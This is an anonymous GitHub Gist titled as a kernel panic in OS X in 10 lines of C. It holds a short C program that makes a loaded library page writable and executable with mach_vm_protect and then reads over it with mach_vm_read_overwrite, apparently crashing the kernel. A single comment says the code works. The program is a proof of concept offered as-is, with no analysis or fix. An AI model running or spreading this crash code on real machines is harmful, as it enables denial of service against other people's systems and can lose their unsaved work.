Created
February 20, 2015 01:42
-
-
Save anonymous/de6b81c556b5dc7cdc8b to your computer and use it in GitHub Desktop.
Kernel panic in latest OS X in 10 lines of C
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
#include <mach/mach.h> | |
#include <mach/mach_vm.h> | |
#include <mach-o/dyld.h> | |
int | |
main (int argc, char * argv[]) | |
{ | |
volatile char * library; | |
const mach_vm_size_t page_size = getpagesize (); | |
const mach_vm_size_t buffer_size = 3 * page_size; | |
char buffer[buffer_size]; | |
mach_vm_size_t result_size; | |
library = (char *) _dyld_get_image_header (1); | |
mach_vm_protect (mach_task_self (), (mach_vm_address_t) (library + page_size), page_size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE); | |
library[page_size]++; | |
library[page_size]--; | |
result_size = 0; | |
mach_vm_read_overwrite (mach_task_self (), (mach_vm_address_t) library, buffer_size, (mach_vm_address_t) buffer, &result_size); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The code do works!!! Awesome!!! Fantastic!!! Unreal!!!